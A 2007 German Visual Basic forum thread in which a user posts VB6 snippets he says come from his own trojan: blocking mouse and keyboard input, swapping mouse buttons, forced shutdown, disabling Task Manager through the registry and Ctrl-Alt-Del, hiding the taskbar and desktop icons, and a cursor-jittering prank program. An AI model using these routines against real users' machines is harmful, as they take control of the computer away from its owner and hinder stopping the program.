Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Texte und Ebooks
Autor
Nachricht
TheCoder_
Überflieger
Überflieger



Anmeldedatum: 31.12.2006
Beiträge: 359
Wohnort: Essen

[Text] Source code snippets
Verfasst am: 15.03.2007, 17:46

So da man ja doch mal bissl was machen will mir vb werde ich mal ein paar source snippets (bruchstücke), nach denen immer wieder gefragt wird, posten. Sind alles auskopplungen aus meinem trojaner deswegen geht vorsichtig mit um Wink
ein paar funzen nur unter xp aber haben ja die meisten hoffentlich
SO LETS GO

Maus Buttons vertauschen:
Code:

Private Declare Function SwapMouseButton Lib "user32.dll" (ByVal bSwap As Long) As Long

SwapMouseButton (1) 'invert on
SwapMouseButton (0) 'invert off


Maus/Tastaur Blocken
Code:

Private Declare Function BlockInput Lib "user32.dll" ( _
                 ByVal fBlockIt As Long) As Long

BlockInput (API_TRUE) 'geblock
BlockInput (API_False) 'nimmer geblockt


Beep
Code:

Private Declare Sub Beep Lib "kernel32" ( _
    Optional ByVal Frequenz As Long = 440, _
    Optional ByVal Dauer As Long = 200)

Beep 'gibt den beep mit Frequenz 440 und dauer 200 aus


beep mit zufallsmelodie (auja das nervt echt)
Code:

Do
            Beep CLng(Rnd * 80) * 20 + 200, _
                CLng(Rnd * 2) * 100 + 100
        Loop Until Rnd < 0.1


Inetseite öffnen
Code:


Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
       (ByVal hwnd As Long, ByVal lpOperation As String, _
        ByVal lpFile As String, ByVal lpParameters As String, _
        ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
        Private Declare Function ExitWindows Lib "user32" Alias _
        "ExitWindowsEx" (ByVal dwOptions As Long, ByVal _
        dwReserved As Long) As Long

ShellExecute Me.hwnd, "Open"," www.google.de", _
             vbNullString, vbNullString, vbNormalFocus


Windoof herunterfahren/neustarten/abmelden
Code:

'API zum Beenden von windows
Private Declare Function ExitWindows Lib "User32" Alias _
        "ExitWindowsEx" (ByVal dwOptions As Long, ByVal _
        dwReserved As Long) As Long
           
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2

'Benutzer Abmelden
        ExitWindows EWX_LOGOFF, &HFFFF

'Windows neu starten
        ExitWindows EWX_REBOOT, &HFFFF

 'Windwos herunterfahren
        ExitWindows EWX_SHUTDOWN, &HFFFF



Taskmanager Deaktivieren/aktivieren
Code:

 Set reg = CreateObject("Wscript.shell")
        reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD" 'deaktivieren

 Set reg = CreateObject("Wscript.shell")
        reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "0", "REG_DWORD" 'aktiveren


Ctrl-Alt-Del (De)aktivieren
Code:

Private Declare Function SystemParametersInfo Lib "user32" _
Alias "SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long

Private Const SPI_SCREENSAVERRUNNING = 97

 SystemParametersInfo SPI_SCREENSAVERRUNNING, True, bOld, 0 'aus
 SystemParametersInfo SPI_SCREENSAVERRUNNING, True, bOld, 0 'an


Taskbar verstecken/anzeigen
Code:

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_SHOWWINDOW = &H40

'Taskbar verstecken
  Dim h&
  h& = FindWindow("Shell_TrayWnd", vbnullstring)
  SetWindowPos h, 0, 0, 0, 0, 0, SWP_HIDEWINDOW

'Taskbar anzeigen
  Dim h&
  h& = FindWindow("Shell_TrayWnd", vbnullstring)
  SetWindowPos h, 0, 0, 0, 0, 0, SWP_SHOWWINDOW


Startbutton verstecken/verschieben/schließen
Code:


Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Const GW_CHILD = 5

'verstecken
Private Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_RESTORE = 9

'schließen
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_CLOSE = &H10

'verschieben
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOSIZE = &H1

'Der erste Teil bleibt dabei immer der gleiche

      Dim ret As Long
      ret& = FindWindow("shell_traywnd", "")
      ret& = GetWindow(ret, GW_CHILD)

'verstecken
ShowWindow ret, SW_HIDE
'wieder anzeigen
ShowWindow ret, SW_RESTORE

'schließen
'kann erst nach Neustart wieder angezeigt werden
SendMessage ret, WM_CLOSE, 0&, 0&

'verschieben
SetWindowPos ret, 0&, 950&, 0&, 0&, 0&, SWP_NOSIZE



so das is jede menge. Da mir gerade die lust vergeht erspar ich mir den rest wie deskopicons verstecken oder maus verstecken oder bse mouse
aber auf wunsch poste ich die auch noch
_________________
 
Bitchkiller_
Tutorial Leser
Tutorial Leser



Anmeldedatum: 12.12.2006
Beiträge: 23


Verfasst am: 06.04.2007, 16:20

die bse mouse würde mich interessieren, gibt die auch milch?
_________________
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 06.04.2007, 16:31

ne, nur kakao.

Edit//
Ich schätze mal das is ne einfache Schleife, die immer die Position der Maus verändert.

Einfallsreicher wäre aber, wenn man den Mauszeiger gegen einen Mittelfinger-Mauszeiger austauscht.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)


Zuletzt bearbeitet von ZiG_ am 06.04.2007, 16:33, insgesamt einmal bearbeitet
 
Bitchkiller_
Tutorial Leser
Tutorial Leser



Anmeldedatum: 12.12.2006
Beiträge: 23


Verfasst am: 06.04.2007, 16:33

schade, aber ich fänds echt nice wenn du das mit den icons, und der maus nochmal posten könntest
 
TheCoder_
Überflieger
Überflieger



Anmeldedatum: 31.12.2006
Beiträge: 359
Wohnort: Essen


Verfasst am: 06.04.2007, 16:34

Naja Probiers mal aus ich glaub du verstehst warum ich es BSE Maus genannt habe...btw: mein erster name war crazy-mouse (öde)
Du benötigst zwei timer(timer1 und timer2) und am besten nen grooooßen button(command1) zum beenden
[code]
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, _
ByVal Y As Long) As Long

Private Declare Function GetCursorPos Lib "user32" (lpPoint As _
POINTAPI) As Long

Private Type POINTAPI
X As Long
Y As Long
End Type

Private X As Long
Private Y As Long
Private Sub Command1_Click()
End
End Sub



Private Sub Form_Load()
Dim pT As POINTAPI
'Zwischenspeichern beim Laden, damit der Mauszeiger von dort startet,
'wo er momentan ist
GetCursorPos pT
MsgBox "Muuuuuuuhhh, Ich hoffe du hast an den möglichst großen exit button gedacht ^^"
Timer1.Interval = 1
Timer2.Interval = 1
Timer1.Enabled = True
Timer2.Enabled = True
End Sub

Private Sub Timer1_Timer()
Dim pT As POINTAPI

GetCursorPos pT

ValueOne = pT.X - Int(Rnd * 50)
ValueTwo = pT.Y - Int(Rnd * 50)
Change = SetCursorPos(ValueOne, ValueTwo)
Timer2.Enabled = True
Timer1.Enabled = False
End Sub


Private Sub Timer2_Timer()
Dim pT As POINTAPI

GetCursorPos pT

ValueOne = pT.X + Int(Rnd * 50)
ValueTwo = pT.Y + Int(Rnd * 50)
Change = SetCursorPos(ValueOne, ValueTwo)
Timer1.Enabled = True
Timer2.Enabled = False
End Sub

[/code]
EDIT:// und ncoh der source für desktopicons verstecken und disablen:
[code]
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, _
ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, _
ByVal fEnable As Long) As Long

Private Const GW_CHILD = 5
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5

Sub ShowDesktopIcons(ByVal bVisible As Boolean)
Dim hWnd_DesktopIcons As Long
hWnd_DesktopIcons = GetWindow( FindWindow("Progman", "Program Manager"), _
GW_CHILD)
If bVisible Then
ShowWindow hWnd_DesktopIcons, SW_SHOW
Else
ShowWindow hWnd_DesktopIcons, SW_HIDE
End If
End Sub

Sub EnableDesktop(ByVal bEnable As Boolean)
Dim hWnd_Desktop As Long
hWnd_Desktop = GetWindow( FindWindow("Progman", "Program Manager"), _
GW_CHILD)
If bEnable Then
EnableWindow hWnd_Desktop, True
Else
EnableWindow hWnd_Desktop, False
End If
End Sub
[/code]
hab ich von google und nich getestet. Also keine garantie. wenne noch was suchst pm oder google.
_________________
 
Bitchkiller_
Tutorial Leser
Tutorial Leser



Anmeldedatum: 12.12.2006
Beiträge: 23


Verfasst am: 06.04.2007, 17:14


kk thx soweit
_________________


 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Texte und Ebooks

Tags: snippets, byval, long, lib, wscript

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2432 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 



[ Time: 0.3380s ][ Queries: 101 (0.0997s) ][ GZIP on - Debug on ]